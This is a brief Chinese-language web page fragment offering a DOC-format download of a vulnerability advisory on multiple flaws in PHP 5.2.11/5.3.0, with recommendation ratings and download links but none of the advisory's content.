欢迎下载DOC格式的PHP 5.2.11/5.3.0 的多个漏洞漏洞预警,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档